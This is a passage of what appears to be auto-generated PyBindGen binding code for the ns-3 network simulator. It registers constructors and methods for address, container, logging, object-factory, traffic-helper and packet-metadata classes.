## ipv6-address.h (module 'network'): ns3::Ipv6Prefix::Ipv6Prefix(ns3::Ipv6Prefix const * prefix) [constructor]
cls.add_constructor([param('ns3::Ipv6Prefix const *', 'prefix')])
## ipv6-address.h (module 'network'): void ns3::Ipv6Prefix::GetBytes(uint8_t * buf) const [member function]
cls.add_method('GetBytes',
'void',
[param('uint8_t *', 'buf')],
is_const=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Prefix ns3::Ipv6Prefix::GetLoopback() [member function]
cls.add_method('GetLoopback',
'ns3::Ipv6Prefix',
[],
is_static=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Prefix ns3::Ipv6Prefix::GetOnes() [member function]
cls.add_method('GetOnes',
'ns3::Ipv6Prefix',
[],
is_static=True)
## ipv6-address.h (module 'network'): uint8_t ns3::Ipv6Prefix::GetPrefixLength() const [member function]
cls.add_method('GetPrefixLength',
'uint8_t',
[],
is_const=True)
## ipv6-address.h (module 'network'): static ns3::Ipv6Prefix ns3::Ipv6Prefix::GetZero() [member function]
cls.add_method('GetZero',
'ns3::Ipv6Prefix',
[],
is_static=True)
## ipv6-address.h (module 'network'): bool ns3::Ipv6Prefix::IsEqual(ns3::Ipv6Prefix const & other) const [member function]
cls.add_method('IsEqual',
'bool',
[param('ns3::Ipv6Prefix const &', 'other')],
is_const=True)
## ipv6-address.h (module 'network'): bool ns3::Ipv6Prefix::IsMatch(ns3::Ipv6Address a, ns3::Ipv6Address b) const [member function]
cls.add_method('IsMatch',
'bool',
[param('ns3::Ipv6Address', 'a'), param('ns3::Ipv6Address', 'b')],
is_const=True)
## ipv6-address.h (module 'network'): void ns3::Ipv6Prefix::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True)
return
def register_Ns3LogComponent_methods(root_module, cls):
## log.h (module 'core'): ns3::LogComponent::LogComponent(ns3::LogComponent const & arg0) [copy constructor]
cls.add_constructor([param('ns3::LogComponent const &', 'arg0')])
## log.h (module 'core'): ns3::LogComponent::LogComponent(std::string const & name, std::string const & file, ns3::LogLevel const mask=::ns3::LOG_NONE) [constructor]
cls.add_constructor([param('std::string const &', 'name'), param('std::string const &', 'file'), param('ns3::LogLevel const', 'mask', default_value='::ns3::LOG_NONE')])
## log.h (module 'core'): void ns3::LogComponent::Disable(ns3::LogLevel const level) [member function]
cls.add_method('Disable',
'void',
[param('ns3::LogLevel const', 'level')])
## log.h (module 'core'): void ns3::LogComponent::Enable(ns3::LogLevel const level) [member function]
cls.add_method('Enable',
'void',
[param('ns3::LogLevel const', 'level')])
## log.h (module 'core'): std::string ns3::LogComponent::File() const [member function]
cls.add_method('File',
'std::string',
[],
is_const=True)
## log.h (module 'core'): static std::map<std::basic_string<char, std::char_traits<char>, std::allocator<char> >,ns3::LogComponent*,std::less<std::basic_string<char, std::char_traits<char>, std::allocator<char> > >,std::allocator<std::pair<const std::basic_string<char, std::char_traits<char>, std::allocator<char> >, ns3::LogComponent*> > > * ns3::LogComponent::GetComponentList() [member function]
cls.add_method('GetComponentList',
'std::map< std::string, ns3::LogComponent * > *',
[],
is_static=True)
## log.h (module 'core'): static std::string ns3::LogComponent::GetLevelLabel(ns3::LogLevel const level) [member function]
cls.add_method('GetLevelLabel',
'std::string',
[param('ns3::LogLevel const', 'level')],
is_static=True)
## log.h (module 'core'): bool ns3::LogComponent::IsEnabled(ns3::LogLevel const level) const [member function]
cls.add_method('IsEnabled',
'bool',
[param('ns3::LogLevel const', 'level')],
is_const=True)
## log.h (module 'core'): bool ns3::LogComponent::IsNoneEnabled() const [member function]
cls.add_method('IsNoneEnabled',
'bool',
[],
is_const=True)
## log.h (module 'core'): char const * ns3::LogComponent::Name() const [member function]
cls.add_method('Name',
'char const *',
[],
is_const=True)
## log.h (module 'core'): void ns3::LogComponent::SetMask(ns3::LogLevel const level) [member function]
cls.add_method('SetMask',
'void',
[param('ns3::LogLevel const', 'level')])
return
def register_Ns3Mac16Address_methods(root_module, cls):
cls.add_binary_comparison_operator('!=')
cls.add_binary_comparison_operator('<')
cls.add_output_stream_operator()
cls.add_binary_comparison_operator('==')
## mac16-address.h (module 'network'): ns3::Mac16Address::Mac16Address(ns3::Mac16Address const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Mac16Address const &', 'arg0')])
## mac16-address.h (module 'network'): ns3::Mac16Address::Mac16Address() [constructor]
cls.add_constructor([])
## mac16-address.h (module 'network'): ns3::Mac16Address::Mac16Address(char const * str) [constructor]
cls.add_constructor([param('char const *', 'str')])
## mac16-address.h (module 'network'): static ns3::Mac16Address ns3::Mac16Address::Allocate() [member function]
cls.add_method('Allocate',
'ns3::Mac16Address',
[],
is_static=True)
## mac16-address.h (module 'network'): static ns3::Mac16Address ns3::Mac16Address::ConvertFrom(ns3::Address const & address) [member function]
cls.add_method('ConvertFrom',
'ns3::Mac16Address',
[param('ns3::Address const &', 'address')],
is_static=True)
## mac16-address.h (module 'network'): void ns3::Mac16Address::CopyFrom(uint8_t const * buffer) [member function]
cls.add_method('CopyFrom',
'void',
[param('uint8_t const *', 'buffer')])
## mac16-address.h (module 'network'): void ns3::Mac16Address::CopyTo(uint8_t * buffer) const [member function]
cls.add_method('CopyTo',
'void',
[param('uint8_t *', 'buffer')],
is_const=True)
## mac16-address.h (module 'network'): static bool ns3::Mac16Address::IsMatchingType(ns3::Address const & address) [member function]
cls.add_method('IsMatchingType',
'bool',
[param('ns3::Address const &', 'address')],
is_static=True)
return
def register_Ns3Mac48Address_methods(root_module, cls):
cls.add_binary_comparison_operator('!=')
cls.add_binary_comparison_operator('<')
cls.add_output_stream_operator()
cls.add_binary_comparison_operator('==')
## mac48-address.h (module 'network'): ns3::Mac48Address::Mac48Address(ns3::Mac48Address const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Mac48Address const &', 'arg0')])
## mac48-address.h (module 'network'): ns3::Mac48Address::Mac48Address() [constructor]
cls.add_constructor([])
## mac48-address.h (module 'network'): ns3::Mac48Address::Mac48Address(char const * str) [constructor]
cls.add_constructor([param('char const *', 'str')])
## mac48-address.h (module 'network'): static ns3::Mac48Address ns3::Mac48Address::Allocate() [member function]
cls.add_method('Allocate',
'ns3::Mac48Address',
[],
is_static=True)
## mac48-address.h (module 'network'): static ns3::Mac48Address ns3::Mac48Address::ConvertFrom(ns3::Address const & address) [member function]
cls.add_method('ConvertFrom',
'ns3::Mac48Address',
[param('ns3::Address const &', 'address')],
is_static=True)
## mac48-address.h (module 'network'): void ns3::Mac48Address::CopyFrom(uint8_t const * buffer) [member function]
cls.add_method('CopyFrom',
'void',
[param('uint8_t const *', 'buffer')])
## mac48-address.h (module 'network'): void ns3::Mac48Address::CopyTo(uint8_t * buffer) const [member function]
cls.add_method('CopyTo',
'void',
[param('uint8_t *', 'buffer')],
is_const=True)
## mac48-address.h (module 'network'): static ns3::Mac48Address ns3::Mac48Address::GetBroadcast() [member function]
cls.add_method('GetBroadcast',
'ns3::Mac48Address',
[],
is_static=True)
## mac48-address.h (module 'network'): static ns3::Mac48Address ns3::Mac48Address::GetMulticast(ns3::Ipv4Address address) [member function]
cls.add_method('GetMulticast',
'ns3::Mac48Address',
[param('ns3::Ipv4Address', 'address')],
is_static=True)
## mac48-address.h (module 'network'): static ns3::Mac48Address ns3::Mac48Address::GetMulticast(ns3::Ipv6Address address) [member function]
cls.add_method('GetMulticast',
'ns3::Mac48Address',
[param('ns3::Ipv6Address', 'address')],
is_static=True)
## mac48-address.h (module 'network'): static ns3::Mac48Address ns3::Mac48Address::GetMulticast6Prefix() [member function]
cls.add_method('GetMulticast6Prefix',
'ns3::Mac48Address',
[],
is_static=True)
## mac48-address.h (module 'network'): static ns3::Mac48Address ns3::Mac48Address::GetMulticastPrefix() [member function]
cls.add_method('GetMulticastPrefix',
'ns3::Mac48Address',
[],
is_static=True)
## mac48-address.h (module 'network'): bool ns3::Mac48Address::IsBroadcast() const [member function]
cls.add_method('IsBroadcast',
'bool',
[],
is_const=True)
## mac48-address.h (module 'network'): bool ns3::Mac48Address::IsGroup() const [member function]
cls.add_method('IsGroup',
'bool',
[],
is_const=True)
## mac48-address.h (module 'network'): static bool ns3::Mac48Address::IsMatchingType(ns3::Address const & address) [member function]
cls.add_method('IsMatchingType',
'bool',
[param('ns3::Address const &', 'address')],
is_static=True)
return
def register_Ns3Mac64Address_methods(root_module, cls):
cls.add_binary_comparison_operator('!=')
cls.add_binary_comparison_operator('<')
cls.add_output_stream_operator()
cls.add_binary_comparison_operator('==')
## mac64-address.h (module 'network'): ns3::Mac64Address::Mac64Address(ns3::Mac64Address const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Mac64Address const &', 'arg0')])
## mac64-address.h (module 'network'): ns3::Mac64Address::Mac64Address() [constructor]
cls.add_constructor([])
## mac64-address.h (module 'network'): ns3::Mac64Address::Mac64Address(char const * str) [constructor]
cls.add_constructor([param('char const *', 'str')])
## mac64-address.h (module 'network'): static ns3::Mac64Address ns3::Mac64Address::Allocate() [member function]
cls.add_method('Allocate',
'ns3::Mac64Address',
[],
is_static=True)
## mac64-address.h (module 'network'): static ns3::Mac64Address ns3::Mac64Address::ConvertFrom(ns3::Address const & address) [member function]
cls.add_method('ConvertFrom',
'ns3::Mac64Address',
[param('ns3::Address const &', 'address')],
is_static=True)
## mac64-address.h (module 'network'): void ns3::Mac64Address::CopyFrom(uint8_t const * buffer) [member function]
cls.add_method('CopyFrom',
'void',
[param('uint8_t const *', 'buffer')])
## mac64-address.h (module 'network'): void ns3::Mac64Address::CopyTo(uint8_t * buffer) const [member function]
cls.add_method('CopyTo',
'void',
[param('uint8_t *', 'buffer')],
is_const=True)
## mac64-address.h (module 'network'): static bool ns3::Mac64Address::IsMatchingType(ns3::Address const & address) [member function]
cls.add_method('IsMatchingType',
'bool',
[param('ns3::Address const &', 'address')],
is_static=True)
return
def register_Ns3NetDeviceContainer_methods(root_module, cls):
## net-device-container.h (module 'network'): ns3::NetDeviceContainer::NetDeviceContainer(ns3::NetDeviceContainer const & arg0) [copy constructor]
cls.add_constructor([param('ns3::NetDeviceContainer const &', 'arg0')])
## net-device-container.h (module 'network'): ns3::NetDeviceContainer::NetDeviceContainer() [constructor]
cls.add_constructor([])
## net-device-container.h (module 'network'): ns3::NetDeviceContainer::NetDeviceContainer(ns3::Ptr<ns3::NetDevice> dev) [constructor]
cls.add_constructor([param('ns3::Ptr< ns3::NetDevice >', 'dev')])
## net-device-container.h (module 'network'): ns3::NetDeviceContainer::NetDeviceContainer(std::string devName) [constructor]
cls.add_constructor([param('std::string', 'devName')])
## net-device-container.h (module 'network'): ns3::NetDeviceContainer::NetDeviceContainer(ns3::NetDeviceContainer const & a, ns3::NetDeviceContainer const & b) [constructor]
cls.add_constructor([param('ns3::NetDeviceContainer const &', 'a'), param('ns3::NetDeviceContainer const &', 'b')])
## net-device-container.h (module 'network'): void ns3::NetDeviceContainer::Add(ns3::NetDeviceContainer other) [member function]
cls.add_method('Add',
'void',
[param('ns3::NetDeviceContainer', 'other')])
## net-device-container.h (module 'network'): void ns3::NetDeviceContainer::Add(ns3::Ptr<ns3::NetDevice> device) [member function]
cls.add_method('Add',
'void',
[param('ns3::Ptr< ns3::NetDevice >', 'device')])
## net-device-container.h (module 'network'): void ns3::NetDeviceContainer::Add(std::string deviceName) [member function]
cls.add_method('Add',
'void',
[param('std::string', 'deviceName')])
## net-device-container.h (module 'network'): __gnu_cxx::__normal_iterator<const ns3::Ptr<ns3::NetDevice>*,std::vector<ns3::Ptr<ns3::NetDevice>, std::allocator<ns3::Ptr<ns3::NetDevice> > > > ns3::NetDeviceContainer::Begin() const [member function]
cls.add_method('Begin',
'__gnu_cxx::__normal_iterator< ns3::Ptr< ns3::NetDevice > const, std::vector< ns3::Ptr< ns3::NetDevice > > >',
[],
is_const=True)
## net-device-container.h (module 'network'): __gnu_cxx::__normal_iterator<const ns3::Ptr<ns3::NetDevice>*,std::vector<ns3::Ptr<ns3::NetDevice>, std::allocator<ns3::Ptr<ns3::NetDevice> > > > ns3::NetDeviceContainer::End() const [member function]
cls.add_method('End',
'__gnu_cxx::__normal_iterator< ns3::Ptr< ns3::NetDevice > const, std::vector< ns3::Ptr< ns3::NetDevice > > >',
[],
is_const=True)
## net-device-container.h (module 'network'): ns3::Ptr<ns3::NetDevice> ns3::NetDeviceContainer::Get(uint32_t i) const [member function]
cls.add_method('Get',
'ns3::Ptr< ns3::NetDevice >',
[param('uint32_t', 'i')],
is_const=True)
## net-device-container.h (module 'network'): uint32_t ns3::NetDeviceContainer::GetN() const [member function]
cls.add_method('GetN',
'uint32_t',
[],
is_const=True)
return
def register_Ns3NodeContainer_methods(root_module, cls):
## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(ns3::NodeContainer const & arg0) [copy constructor]
cls.add_constructor([param('ns3::NodeContainer const &', 'arg0')])
## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer() [constructor]
cls.add_constructor([])
## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(ns3::Ptr<ns3::Node> node) [constructor]
cls.add_constructor([param('ns3::Ptr< ns3::Node >', 'node')])
## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(std::string nodeName) [constructor]
cls.add_constructor([param('std::string', 'nodeName')])
## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(ns3::NodeContainer const & a, ns3::NodeContainer const & b) [constructor]
cls.add_constructor([param('ns3::NodeContainer const &', 'a'), param('ns3::NodeContainer const &', 'b')])
## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(ns3::NodeContainer const & a, ns3::NodeContainer const & b, ns3::NodeContainer const & c) [constructor]
cls.add_constructor([param('ns3::NodeContainer const &', 'a'), param('ns3::NodeContainer const &', 'b'), param('ns3::NodeContainer const &', 'c')])
## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(ns3::NodeContainer const & a, ns3::NodeContainer const & b, ns3::NodeContainer const & c, ns3::NodeContainer const & d) [constructor]
cls.add_constructor([param('ns3::NodeContainer const &', 'a'), param('ns3::NodeContainer const &', 'b'), param('ns3::NodeContainer const &', 'c'), param('ns3::NodeContainer const &', 'd')])
## node-container.h (module 'network'): ns3::NodeContainer::NodeContainer(ns3::NodeContainer const & a, ns3::NodeContainer const & b, ns3::NodeContainer const & c, ns3::NodeContainer const & d, ns3::NodeContainer const & e) [constructor]
cls.add_constructor([param('ns3::NodeContainer const &', 'a'), param('ns3::NodeContainer const &', 'b'), param('ns3::NodeContainer const &', 'c'), param('ns3::NodeContainer const &', 'd'), param('ns3::NodeContainer const &', 'e')])
## node-container.h (module 'network'): void ns3::NodeContainer::Add(ns3::NodeContainer other) [member function]
cls.add_method('Add',
'void',
[param('ns3::NodeContainer', 'other')])
## node-container.h (module 'network'): void ns3::NodeContainer::Add(ns3::Ptr<ns3::Node> node) [member function]
cls.add_method('Add',
'void',
[param('ns3::Ptr< ns3::Node >', 'node')])
## node-container.h (module 'network'): void ns3::NodeContainer::Add(std::string nodeName) [member function]
cls.add_method('Add',
'void',
[param('std::string', 'nodeName')])
## node-container.h (module 'network'): __gnu_cxx::__normal_iterator<const ns3::Ptr<ns3::Node>*,std::vector<ns3::Ptr<ns3::Node>, std::allocator<ns3::Ptr<ns3::Node> > > > ns3::NodeContainer::Begin() const [member function]
cls.add_method('Begin',
'__gnu_cxx::__normal_iterator< ns3::Ptr< ns3::Node > const, std::vector< ns3::Ptr< ns3::Node > > >',
[],
is_const=True)
## node-container.h (module 'network'): void ns3::NodeContainer::Create(uint32_t n) [member function]
cls.add_method('Create',
'void',
[param('uint32_t', 'n')])
## node-container.h (module 'network'): void ns3::NodeContainer::Create(uint32_t n, uint32_t systemId) [member function]
cls.add_method('Create',
'void',
[param('uint32_t', 'n'), param('uint32_t', 'systemId')])
## node-container.h (module 'network'): __gnu_cxx::__normal_iterator<const ns3::Ptr<ns3::Node>*,std::vector<ns3::Ptr<ns3::Node>, std::allocator<ns3::Ptr<ns3::Node> > > > ns3::NodeContainer::End() const [member function]
cls.add_method('End',
'__gnu_cxx::__normal_iterator< ns3::Ptr< ns3::Node > const, std::vector< ns3::Ptr< ns3::Node > > >',
[],
is_const=True)
## node-container.h (module 'network'): ns3::Ptr<ns3::Node> ns3::NodeContainer::Get(uint32_t i) const [member function]
cls.add_method('Get',
'ns3::Ptr< ns3::Node >',
[param('uint32_t', 'i')],
is_const=True)
## node-container.h (module 'network'): static ns3::NodeContainer ns3::NodeContainer::GetGlobal() [member function]
cls.add_method('GetGlobal',
'ns3::NodeContainer',
[],
is_static=True)
## node-container.h (module 'network'): uint32_t ns3::NodeContainer::GetN() const [member function]
cls.add_method('GetN',
'uint32_t',
[],
is_const=True)
return
def register_Ns3NodeList_methods(root_module, cls):
## node-list.h (module 'network'): ns3::NodeList::NodeList() [constructor]
cls.add_constructor([])
## node-list.h (module 'network'): ns3::NodeList::NodeList(ns3::NodeList const & arg0) [copy constructor]
cls.add_constructor([param('ns3::NodeList const &', 'arg0')])
## node-list.h (module 'network'): static uint32_t ns3::NodeList::Add(ns3::Ptr<ns3::Node> node) [member function]
cls.add_method('Add',
'uint32_t',
[param('ns3::Ptr< ns3::Node >', 'node')],
is_static=True)
## node-list.h (module 'network'): static __gnu_cxx::__normal_iterator<const ns3::Ptr<ns3::Node>*,std::vector<ns3::Ptr<ns3::Node>, std::allocator<ns3::Ptr<ns3::Node> > > > ns3::NodeList::Begin() [member function]
cls.add_method('Begin',
'__gnu_cxx::__normal_iterator< ns3::Ptr< ns3::Node > const, std::vector< ns3::Ptr< ns3::Node > > >',
[],
is_static=True)
## node-list.h (module 'network'): static __gnu_cxx::__normal_iterator<const ns3::Ptr<ns3::Node>*,std::vector<ns3::Ptr<ns3::Node>, std::allocator<ns3::Ptr<ns3::Node> > > > ns3::NodeList::End() [member function]
cls.add_method('End',
'__gnu_cxx::__normal_iterator< ns3::Ptr< ns3::Node > const, std::vector< ns3::Ptr< ns3::Node > > >',
[],
is_static=True)
## node-list.h (module 'network'): static uint32_t ns3::NodeList::GetNNodes() [member function]
cls.add_method('GetNNodes',
'uint32_t',
[],
is_static=True)
## node-list.h (module 'network'): static ns3::Ptr<ns3::Node> ns3::NodeList::GetNode(uint32_t n) [member function]
cls.add_method('GetNode',
'ns3::Ptr< ns3::Node >',
[param('uint32_t', 'n')],
is_static=True)
return
def register_Ns3NonCopyable_methods(root_module, cls):
## non-copyable.h (module 'core'): ns3::NonCopyable::NonCopyable() [constructor]
cls.add_constructor([],
visibility='protected')
return
def register_Ns3ObjectBase_methods(root_module, cls):
## object-base.h (module 'core'): ns3::ObjectBase::ObjectBase() [constructor]
cls.add_constructor([])
## object-base.h (module 'core'): ns3::ObjectBase::ObjectBase(ns3::ObjectBase const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ObjectBase const &', 'arg0')])
## object-base.h (module 'core'): void ns3::ObjectBase::GetAttribute(std::string name, ns3::AttributeValue & value) const [member function]
cls.add_method('GetAttribute',
'void',
[param('std::string', 'name'), param('ns3::AttributeValue &', 'value')],
is_const=True)
## object-base.h (module 'core'): bool ns3::ObjectBase::GetAttributeFailSafe(std::string name, ns3::AttributeValue & value) const [member function]
cls.add_method('GetAttributeFailSafe',
'bool',
[param('std::string', 'name'), param('ns3::AttributeValue &', 'value')],
is_const=True)
## object-base.h (module 'core'): ns3::TypeId ns3::ObjectBase::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## object-base.h (module 'core'): static ns3::TypeId ns3::ObjectBase::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## object-base.h (module 'core'): void ns3::ObjectBase::SetAttribute(std::string name, ns3::AttributeValue const & value) [member function]
cls.add_method('SetAttribute',
'void',
[param('std::string', 'name'), param('ns3::AttributeValue const &', 'value')])
## object-base.h (module 'core'): bool ns3::ObjectBase::SetAttributeFailSafe(std::string name, ns3::AttributeValue const & value) [member function]
cls.add_method('SetAttributeFailSafe',
'bool',
[param('std::string', 'name'), param('ns3::AttributeValue const &', 'value')])
## object-base.h (module 'core'): bool ns3::ObjectBase::TraceConnect(std::string name, std::string context, ns3::CallbackBase const & cb) [member function]
cls.add_method('TraceConnect',
'bool',
[param('std::string', 'name'), param('std::string', 'context'), param('ns3::CallbackBase const &', 'cb')])
## object-base.h (module 'core'): bool ns3::ObjectBase::TraceConnectWithoutContext(std::string name, ns3::CallbackBase const & cb) [member function]
cls.add_method('TraceConnectWithoutContext',
'bool',
[param('std::string', 'name'), param('ns3::CallbackBase const &', 'cb')])
## object-base.h (module 'core'): bool ns3::ObjectBase::TraceDisconnect(std::string name, std::string context, ns3::CallbackBase const & cb) [member function]
cls.add_method('TraceDisconnect',
'bool',
[param('std::string', 'name'), param('std::string', 'context'), param('ns3::CallbackBase const &', 'cb')])
## object-base.h (module 'core'): bool ns3::ObjectBase::TraceDisconnectWithoutContext(std::string name, ns3::CallbackBase const & cb) [member function]
cls.add_method('TraceDisconnectWithoutContext',
'bool',
[param('std::string', 'name'), param('ns3::CallbackBase const &', 'cb')])
## object-base.h (module 'core'): void ns3::ObjectBase::ConstructSelf(ns3::AttributeConstructionList const & attributes) [member function]
cls.add_method('ConstructSelf',
'void',
[param('ns3::AttributeConstructionList const &', 'attributes')],
visibility='protected')
## object-base.h (module 'core'): void ns3::ObjectBase::NotifyConstructionCompleted() [member function]
cls.add_method('NotifyConstructionCompleted',
'void',
[],
visibility='protected', is_virtual=True)
return
def register_Ns3ObjectDeleter_methods(root_module, cls):
## object.h (module 'core'): ns3::ObjectDeleter::ObjectDeleter() [constructor]
cls.add_constructor([])
## object.h (module 'core'): ns3::ObjectDeleter::ObjectDeleter(ns3::ObjectDeleter const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ObjectDeleter const &', 'arg0')])
## object.h (module 'core'): static void ns3::ObjectDeleter::Delete(ns3::Object * object) [member function]
cls.add_method('Delete',
'void',
[param('ns3::Object *', 'object')],
is_static=True)
return
def register_Ns3ObjectFactory_methods(root_module, cls):
cls.add_output_stream_operator()
## object-factory.h (module 'core'): ns3::ObjectFactory::ObjectFactory(ns3::ObjectFactory const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ObjectFactory const &', 'arg0')])
## object-factory.h (module 'core'): ns3::ObjectFactory::ObjectFactory() [constructor]
cls.add_constructor([])
## object-factory.h (module 'core'): ns3::ObjectFactory::ObjectFactory(std::string typeId) [constructor]
cls.add_constructor([param('std::string', 'typeId')])
## object-factory.h (module 'core'): ns3::Ptr<ns3::Object> ns3::ObjectFactory::Create() const [member function]
cls.add_method('Create',
'ns3::Ptr< ns3::Object >',
[],
is_const=True)
## object-factory.h (module 'core'): ns3::TypeId ns3::ObjectFactory::GetTypeId() const [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_const=True)
## object-factory.h (module 'core'): void ns3::ObjectFactory::Set(std::string name, ns3::AttributeValue const & value) [member function]
cls.add_method('Set',
'void',
[param('std::string', 'name'), param('ns3::AttributeValue const &', 'value')])
## object-factory.h (module 'core'): void ns3::ObjectFactory::SetTypeId(ns3::TypeId tid) [member function]
cls.add_method('SetTypeId',
'void',
[param('ns3::TypeId', 'tid')])
## object-factory.h (module 'core'): void ns3::ObjectFactory::SetTypeId(char const * tid) [member function]
cls.add_method('SetTypeId',
'void',
[param('char const *', 'tid')])
## object-factory.h (module 'core'): void ns3::ObjectFactory::SetTypeId(std::string tid) [member function]
cls.add_method('SetTypeId',
'void',
[param('std::string', 'tid')])
return
def register_Ns3OnOffHelper_methods(root_module, cls):
## on-off-helper.h (module 'applications'): ns3::OnOffHelper::OnOffHelper(ns3::OnOffHelper const & arg0) [copy constructor]
cls.add_constructor([param('ns3::OnOffHelper const &', 'arg0')])
## on-off-helper.h (module 'applications'): ns3::OnOffHelper::OnOffHelper(std::string protocol, ns3::Address address) [constructor]
cls.add_constructor([param('std::string', 'protocol'), param('ns3::Address', 'address')])
## on-off-helper.h (module 'applications'): int64_t ns3::OnOffHelper::AssignStreams(ns3::NodeContainer c, int64_t stream) [member function]
cls.add_method('AssignStreams',
'int64_t',
[param('ns3::NodeContainer', 'c'), param('int64_t', 'stream')])
## on-off-helper.h (module 'applications'): ns3::ApplicationContainer ns3::OnOffHelper::Install(ns3::NodeContainer c) const [member function]
cls.add_method('Install',
'ns3::ApplicationContainer',
[param('ns3::NodeContainer', 'c')],
is_const=True)
## on-off-helper.h (module 'applications'): ns3::ApplicationContainer ns3::OnOffHelper::Install(ns3::Ptr<ns3::Node> node) const [member function]
cls.add_method('Install',
'ns3::ApplicationContainer',
[param('ns3::Ptr< ns3::Node >', 'node')],
is_const=True)
## on-off-helper.h (module 'applications'): ns3::ApplicationContainer ns3::OnOffHelper::Install(std::string nodeName) const [member function]
cls.add_method('Install',
'ns3::ApplicationContainer',
[param('std::string', 'nodeName')],
is_const=True)
## on-off-helper.h (module 'applications'): void ns3::OnOffHelper::SetAttribute(std::string name, ns3::AttributeValue const & value) [member function]
cls.add_method('SetAttribute',
'void',
[param('std::string', 'name'), param('ns3::AttributeValue const &', 'value')])
## on-off-helper.h (module 'applications'): void ns3::OnOffHelper::SetConstantRate(ns3::DataRate dataRate, uint32_t packetSize=512) [member function]
cls.add_method('SetConstantRate',
'void',
[param('ns3::DataRate', 'dataRate'), param('uint32_t', 'packetSize', default_value='512')])
return
def register_Ns3PacketLossCounter_methods(root_module, cls):
## packet-loss-counter.h (module 'applications'): ns3::PacketLossCounter::PacketLossCounter(ns3::PacketLossCounter const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PacketLossCounter const &', 'arg0')])
## packet-loss-counter.h (module 'applications'): ns3::PacketLossCounter::PacketLossCounter(uint8_t bitmapSize) [constructor]
cls.add_constructor([param('uint8_t', 'bitmapSize')])
## packet-loss-counter.h (module 'applications'): uint16_t ns3::PacketLossCounter::GetBitMapSize() const [member function]
cls.add_method('GetBitMapSize',
'uint16_t',
[],
is_const=True)
## packet-loss-counter.h (module 'applications'): uint32_t ns3::PacketLossCounter::GetLost() const [member function]
cls.add_method('GetLost',
'uint32_t',
[],
is_const=True)
## packet-loss-counter.h (module 'applications'): void ns3::PacketLossCounter::NotifyReceived(uint32_t seq) [member function]
cls.add_method('NotifyReceived',
'void',
[param('uint32_t', 'seq')])
## packet-loss-counter.h (module 'applications'): void ns3::PacketLossCounter::SetBitMapSize(uint16_t size) [member function]
cls.add_method('SetBitMapSize',
'void',
[param('uint16_t', 'size')])
return
def register_Ns3PacketMetadata_methods(root_module, cls):
## packet-metadata.h (module 'network'): ns3::PacketMetadata::PacketMetadata(uint64_t uid, uint32_t size) [constructor]
cls.add_constructor([param('uint64_t', 'uid'), param('uint32_t', 'size')])
## packet-metadata.h (module 'network'): ns3::PacketMetadata::PacketMetadata(ns3::PacketMetadata const & o) [copy constructor]
cls.add_constructor([param('ns3::PacketMetadata const &', 'o')])
## packet-metadata.h (module 'network'): void ns3::PacketMetadata::AddAtEnd(ns3::PacketMetadata const & o) [member function]
cls.add_method('AddAtEnd',
'void',
[param('ns3::PacketMetadata const &', 'o')])
## packet-metadata.h (module 'network'): void ns3::PacketMetadata::AddHeader(ns3::Header const & header, uint32_t size) [member function]
cls.add_method('AddHeader',
'void',
[param('ns3::Header const &', 'header'), param('uint32_t', 'size')])
## packet-metadata.h (module 'network'): void ns3::PacketMetadata::AddPaddingAtEnd(uint32_t end) [member function]
cls.add_method('AddPaddingAtEnd',
'void',
[param('uint32_t', 'end')])
## packet-metadata.h (module 'network'): void ns3::PacketMetadata::AddTrailer(ns3::Trailer const & trailer, uint32_t size) [member function]
cls.add_method('AddTrailer',
'void',
[param('ns3::Trailer const &', 'trailer'), param('uint32_t', 'size')])
## packet-metadata.h (module 'network'): ns3::PacketMetadata::ItemIterator ns3::PacketMetadata::BeginItem(ns3::Buffer buffer) const [member function]
cls.add_method('BeginItem',
'ns3::PacketMetadata::ItemIterator',
[param('ns3::Buffer', 'buffer')],
is_const=True)
## packet-metadata.h (module 'network'): ns3::PacketMetadata ns3::PacketMetadata::CreateFragment(uint32_t start, uint32_t end) const [member function]
cls.add_method('CreateFragment',
'ns3::PacketMetadata',
[param('uint32_t', 'start'), param('uint32_t', 'end')],
is_const=True)
## packet-metadata.h (module 'network'): uint32_t ns3::PacketMetadata::Deserialize(uint8_t const * buffer, uint32_t size) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('uint8_t const *', 'buffer'), param('uint32_t', 'size')])
## packet-metadata.h (module 'network'): static void ns3::PacketMetadata::Enable() [member function]
cls.add_method('Enable',
'void',
[],
is_static=True)
## packet-metadata.h (module 'network'): static void ns3::PacketMetadata::EnableChecking() [member function]
cls.add_method('EnableChecking',
'void',
[],
is_static=True)
## packet-metadata.h (module 'network'): uint32_t ns3::PacketMetadata::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True)
## packet-metadata.h (module 'network'): uint64_t ns3::PacketMetadata::GetUid() const [member function]
cls.add_method('GetUid',
'uint64_t',
[],
is_const=True)
## packet-metadata.h (module 'network'): void ns3::PacketMetadata::RemoveAtEnd(uint32_t end) [member function]
cls.add_method('RemoveAtEnd',
'void',
[param('uint32_t', 'end')])
## packet-metadata.h (module 'network'): void ns3::PacketMetadata::RemoveAtStart(uint32_t start) [member function]
cls.add_method('RemoveAtStart',
'void',
[param('uint32_t', 'start')])
## packet-metadata.h (module 'network'): void ns3::PacketMetadata::RemoveHeader(ns3::Header const & header, uint32_t size) [member function]
cls.add_method('RemoveHeader',
'void',
[param('ns3::Header const &', 'header'), param('uint32_t', 'size')])
